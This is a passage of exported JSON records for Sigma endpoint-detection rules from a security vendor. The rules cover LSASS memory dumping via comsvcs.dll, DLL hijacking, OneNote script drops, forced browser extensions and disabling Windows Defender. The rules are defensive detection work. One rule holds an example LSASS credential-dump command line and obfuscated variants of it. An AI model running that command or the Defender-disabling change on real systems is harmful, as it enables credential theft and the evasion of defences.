+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "967f9803-c95f-4591-a904-25a2f478158a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078253Z",
+  "creation_date": "2026-03-23T11:45:34.078255Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078260Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/threat-detection-report/techniques/rundll32/",
+    "https://beta.hackndo.com/remote-lsass-dump-passwords/",
+    "https://blog.rapid7.com/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"
+  ],
+  "name": "t1003_001_rundll32_comsvcs.yml",
+  "content": "title: Process Memory Dumped via comsvcs.dll\nid: 967f9803-c95f-4591-a904-25a2f478158a\ndescription: |\n    Detects a suspicious attempt to dump process memory using the `MiniDump` function of the `comsvcs.dll` DLL.\n    This technique is often used to dump the LSASS.exe process memory.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://redcanary.com/threat-detection-report/techniques/rundll32/\n    - https://beta.hackndo.com/remote-lsass-dump-passwords/\n    - https://blog.rapid7.com/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/\ndate: 2021/04/15\nmodified: 2025/04/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.LOLBin.Rundll32\n    - classification.Windows.LOLBin.Comsvcs\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # rundll32.exe C:\\windows\\System32\\comsvcs.dll MiniDump 608 C:\\lsass.dmp full\n    selection_binary:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n    selection_full:\n        CommandLine|contains: ' full'\n    selection_function:\n        CommandLine|contains:\n            - 'MiniDump '\n            - '#24'\n            - '#+24'\n            - '#+0000^24'\n            - '#+000^24'\n            - '#+00^24'\n            - '#+0^24'\n            - '#+024'\n            - '#+000024'\n            - '#+00024'\n            - '#+0024'\n            # https://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/\n            - '#-4294967272'\n            - '#-18446744073709551592'\n            # https://twitter.com/Wietze/status/1542107456507203586\n            - '024'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - '\\rundll32.exe shell32.dll, ShellExec_RunDLL '\n            - '\\rundll32.exe ?:\\Program Files\\'\n            - '\\rundll32.exe ?:\\Program Files (x86)\\'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "967f9803-c95f-4591-a904-25a2f478158a",
+  "rule_name": "Process Memory Dumped via comsvcs.dll",
+  "rule_description": "Detects a suspicious attempt to dump process memory using the `MiniDump` function of the `comsvcs.dll` DLL.\nThis technique is often used to dump the LSASS.exe process memory.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-04-15",
+  "rule_modified_date": "2025-04-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "968bc0e0-0756-40f8-b390-3a0efb677d16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587004Z",
+  "creation_date": "2026-03-23T11:45:34.587007Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587015Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_devicepairingwizard.yml",
+  "content": "title: DLL Hijacking via devicepairingwizard.exe\nid: 968bc0e0-0756-40f8-b390-3a0efb677d16\ndescription: |\n    Detects potential Windows DLL Hijacking via devicepairingwizard.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'devicepairingwizard.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\devicepairing.dll'\n            - '\\dwmapi.dll'\n            - '\\mfc42u.dll'\n            - '\\OLEACC.dll'\n            - '\\xwizards.dll'\n            - '\\xwtpw32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "968bc0e0-0756-40f8-b390-3a0efb677d16",
+  "rule_name": "DLL Hijacking via devicepairingwizard.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via devicepairingwizard.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "968d93a7-fa28-4f81-966a-7c42659a687a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086978Z",
+  "creation_date": "2026-03-23T11:45:34.086981Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086988Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://opalsec.substack.com/p/the-defenders-guide-to-onenote-maldocs",
+    "https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/",
+    "https://attack.mitre.org/techniques/T1566/001/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_onenote_script_file_creation.yml",
+  "content": "title: Suspicious Script File Created in OneNote Folder\nid: 968d93a7-fa28-4f81-966a-7c42659a687a\ndescription: |\n    Detects the creation of script files in the OneNote local user folder.\n    Attackers can craft malicious OneNote files containing scripts that can be executed if the user is lured into clicking a malicious button.\n    It is recommended to download and analyze the created script and look for suspicious execution following this alert.\nreferences:\n    - https://opalsec.substack.com/p/the-defenders-guide-to-onenote-maldocs\n    - https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/\n    - https://attack.mitre.org/techniques/T1566/001/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2024/07/15\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566.001\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection_creation:\n        Kind: 'create'\n        ProcessImage|endswith: '\\ONENOTE.EXE'\n        Path|contains:\n             - '\\OneNote\\\\*\\Exported\\'\n             - '\\onenoteofflinecache_files\\'\n\n    selection_extension:\n        Path|endswith:\n            - '.cmd'\n            - '.bat'\n            - '.js'\n            - '.vbs'\n            - '.wsf'\n            - '.wsh'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "968d93a7-fa28-4f81-966a-7c42659a687a",
+  "rule_name": "Suspicious Script File Created in OneNote Folder",
+  "rule_description": "Detects the creation of script files in the OneNote local user folder.\nAttackers can craft malicious OneNote files containing scripts that can be executed if the user is lured into clicking a malicious button.\nIt is recommended to download and analyze the created script and look for suspicious execution following this alert.\n",
+  "rule_creation_date": "2024-07-15",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1218",
+    "attack.t1566.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "96c49a7f-c8de-48bb-82d9-54f43c6cd2d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620645Z",
+  "creation_date": "2026-03-23T11:45:34.620647Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620652Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bleepingcomputer.com/news/security/malware-force-installs-chrome-extensions-on-300-000-browsers-patches-dlls/",
+    "https://www.connectwise.com/blog/threat-report/smash-jacker",
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
+  "name": "t1176_chrome_extensions_forceinstall.yml",
+  "content": "title: Chrome-based Browser Extension Force-installed\nid: 96c49a7f-c8de-48bb-82d9-54f43c6cd2d6\ndescription: |\n    Detects a modification of the registry key used to force the installation of an extension in Chrome or Edge.\n    Adversaries may force the installation of a malicious extension by modifying the registry key, leading the browser to silently install a list of apps and extensions at startup, without user interaction, and which cannot be uninstalled nor disabled by the user.\n    It is recommended to check if the process modifying the registry key has legitimate reason to do it and if the extension is legitimate.\nreferences:\n    - https://www.bleepingcomputer.com/news/security/malware-force-installs-chrome-extensions-on-300-000-browsers-patches-dlls/\n    - https://www.connectwise.com/blog/threat-report/smash-jacker\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2024/10/09\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject|contains:\n            - 'Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist'\n            - 'Software\\Policies\\Microsoft\\Edge\\ExtensionInstallForcelist'\n\n    # This is handled by the rule a6cace98-683f-4957-8835-f651ff11941e\n    filter_known_malicious_extension:\n        Details: 'macjkjgieeoakdlmmfefgmldohgddpkj'\n\n    filter_empty:\n        Details:\n            - ''\n            - ' '\n            - '1'\n            - '(empty)'\n\n    exclusion_program_files:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_msiexec:\n        Image:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_dameware:\n        Image: '?:\\Windows\\dwrcs\\DWRCS.EXE'\n\n    exclusion_deviceenroller:\n        Image: '?:\\Windows\\System32\\DeviceEnroller.exe'\n\n    exclusion_setup:\n        Image: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n\n    exclusion_ccmexec:\n        Image: '?:\\Windows\\CCM\\CcmExec.exe'\n\n    exclusion_omadmclient:\n        Image: '?:\\Windows\\System32\\omadmclient.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\NisSrv.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\MsSense.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n            - '?:\\Program Files\\Microsoft Security Client\\MsMpEng.exe'\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\ConfigSecurityPolicy.exe'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_wmiprvse:\n        Image: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n        Details|startswith:\n            - 'gpmlagmcbcnjhkdjiofoenkfbaclgjkk' # HP extension\n            - 'cfoiggbemmmephfeingijgmabjfnhmoe' # Websense\n\n    exclusion_lenovo:\n        Image: '?:\\Windows\\System32\\drivers\\Lenovo\\udc\\Service\\UDClientService.exe'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n            - 'Lenovo'\n        ProcessSigned: 'true'\n\n    exclusion_symantec:\n        Image: '?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\\\*\\Data\\Definitions\\NTRDefs\\\\*\\ntrproxy.exe'\n        ProcessSignature: 'Symantec Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_symantec_definition:\n        Details:\n            - 'amnfbgkhpdmeeobndndgebhdklioljbc;?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\\\*\\Data\\Definitions\\WebExtDefs\\\\*\\updates.xml'\n            - 'hlgkjeecidokoilkiocgkakgnengkppc;?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\\\*\\Data\\Definitions\\WebExtDefs\\\\*\\updates.xml'\n            - 'hjhklbomhmbfockimpldchgpbnccmbgp;?:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\\\*\\Data\\Definitions\\WebExtDefs\\\\*\\updates.xml'\n\n    exclusion_trendmicro:\n        Image|endswith: '\\Deep Security Agent\\dsa.exe'\n        ProcessSignature: 'Trend Micro, Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_mmc:\n          ProcessImage: '?:\\WINDOWS\\system32\\mmc.exe'\n\n    exclusion_secnom:\n        Image: '?:\\Windows\\System32\\SECOMN64.exe'\n        ProcessSignature: 'Sound Research Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_vmms:\n        Image: '?:\\Windows\\System32\\vmms.exe'\n\n    exclusion_eset:\n        ProcessAncestors|contains: '|?:\\Program Files\\ESET\\RemoteAdministrator\\Agent\\ERAAgent.exe|'\n\n    exclusion_ocsagent:\n        ProcessAncestors|contains: '|?:\\Program Files\\OCS Inventory Agent\\download.exe|'\n\n    # Interact Software\n    exclusion_ia4:\n        Details:\n            - 'jifbnihciifbfeiiijegkfnbigagacjk;file:///?:\\Program Files (x86)\\Interact\\\\\\\\Res\\update_iachrome.xml'\n            - 'lihjcocccmfbjlkgnhjjinoacbmilcpd;file:///?:\\Program Files (x86)\\Interact\\\\\\\\Res\\update_iaedge.xml'\n\n    # https://chromewebstore.google.com/detail/libersign/jligpldajocilccnnokfnghlamfhnppc\n    exclusion_libersign:\n        Details: 'jligpldajocilccnnokfnghlamfhnppc;https://clients2.google.com/service/update2/crx'\n\n    # https://chromewebstore.google.com/detail/keepassxc-browser/oboonakemofpalcgghocfoadofidjkkk\n    # https://microsoftedge.microsoft.com/addons/detail/keepassxcbrowser/pdffhmdngciaglkoonimfcmckehcpafo\n    exclusion_keepassxc:\n        Details:\n            - 'oboonakemofpalcgghocfoadofidjkkk;https://clients2.google.com/service/update2/crx'\n            - 'pdffhmdngciaglkoonimfcmckehcpafo;https://edge.microsoft.com/extensionwebstorebase/v1/crx'\n\n    # https://microsoftedge.microsoft.com/addons/detail/ublock-origin/odfafepnkmbhccpbejgmiehpchacaeak\n    exclusion_ublock:\n        Details: 'odfafepnkmbhccpbejgmiehpchacaeak;https://edge.microsoft.com/extensionwebstorebase/v1/crx'\n\n    # https://microsoftedge.microsoft.com/addons/detail/cookie-autodelete/djkjpnciiommncecmdefpdllknjdmmmo\n    exclusion_cookie_autodelete:\n        Details: 'djkjpnciiommncecmdefpdllknjdmmmo;https://edge.microsoft.com/extensionwebstorebase/v1/crx'\n\n    # https://microsoftedge.microsoft.com/addons/detail/gestionnaire-de-mots-de-p/jbkfoedolllekgbhcbcoahefnbanhhlh\n    exclusion_bitwarden:\n        Details:\n            - 'jbkfoedolllekgbhcbcoahefnbanhhlh;https://edge.microsoft.com/extensionwebstorebase/v1/crx'\n            - 'nngceckbapebfimnlniiiahkandclblb;https://clients2.google.com/service/update2/crx'\n\n    exclusion_sentinelone:\n        Details:\n            - 'ogjmklkhajdbaannfffilmkpneihckoh'\n            - 'iekfdmgbpmcklocjhlabimljddkeflgl;https://clients2.google.com/service/update2/crx'\n\n    # https://microsoftedge.microsoft.com/addons/detail/citrix-workspace-web-exte/pmdpflpcmcomdkocbehamllbfkdgnalf\n    exclusion_citrix:\n        Details: 'pmdpflpcmcomdkocbehamllbfkdgnalf'\n\n    # https://chromewebstore.google.com/detail/microsoft-single-sign-on/ppnbnpeolgkicgegkbkbjmhlideopiji\n    exclusion_microsoft:\n        Details: 'ppnbnpeolgkicgegkbkbjmhlideopiji'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\n# level: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "96c49a7f-c8de-48bb-82d9-54f43c6cd2d6",
+  "rule_name": "Chrome-based Browser Extension Force-installed",
+  "rule_description": "Detects a modification of the registry key used to force the installation of an extension in Chrome or Edge.\nAdversaries may force the installation of a malicious extension by modifying the registry key, leading the browser to silently install a list of apps and extensions at startup, without user interaction, and which cannot be uninstalled nor disabled by the user.\nIt is recommended to check if the process modifying the registry key has legitimate reason to do it and if the extension is legitimate.\n",
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "96d7e124-2dc0-4aca-b39d-6f7c5a29e1c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621642Z",
+  "creation_date": "2026-03-23T11:45:34.621644Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621649Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2020/12/13/defender-control/",
+    "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_defender_disable_service.yml",
+  "content": "title: Windows Defender Service Disabled\nid: 96d7e124-2dc0-4aca-b39d-6f7c5a29e1c5\ndescription: |\n    Detects the Windows Defender service (WinDefend) being disabled via registry.\n    Adversaries may disable Windows Defender service to avoid possible detection of their malicious activities.\n    It is recommended to analyze the process responsible for the registry modification as well as to look for other suspicious actions on the host.\nreferences:\n    - https://thedfirreport.com/2020/12/13/defender-control/\n    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/05/27\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ServiceStop\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WinDefend\\Start'\n        Details:\n            - 'DWORD (0x00000004)' # SERVICE_DISABLED\n            - 'DWORD (0x00000003)' # SERVICE_DEMAND_START\n        ProcessParentImage|contains: '\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # Related to \"MpCmdRun.exe -DisableService\" when a third party antivirus is installed\n    exclusion_services1:\n        ProcessOriginalFileName: 'services.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n        ProcessUserSID: 'S-1-5-18'\n    exclusion_services2:\n        ProcessImage|endswith: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_msiexec:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        Details: 'DWORD (0x00000003)'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "96d7e124-2dc0-4aca-b39d-6f7c5a29e1c5",
+  "rule_name": "Windows Defender Service Disabled",
+  "rule_description": "Detects the Windows Defender service (WinDefend) being disabled via registry.\nAdversaries may disable Windows Defender service to avoid possible detection of their malicious activities.\nIt is recommended to analyze the process responsible for the registry modification as well as to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2021-05-27",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "96f7f46a-fd19-45fe-b544-2d1c3ef8e50b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
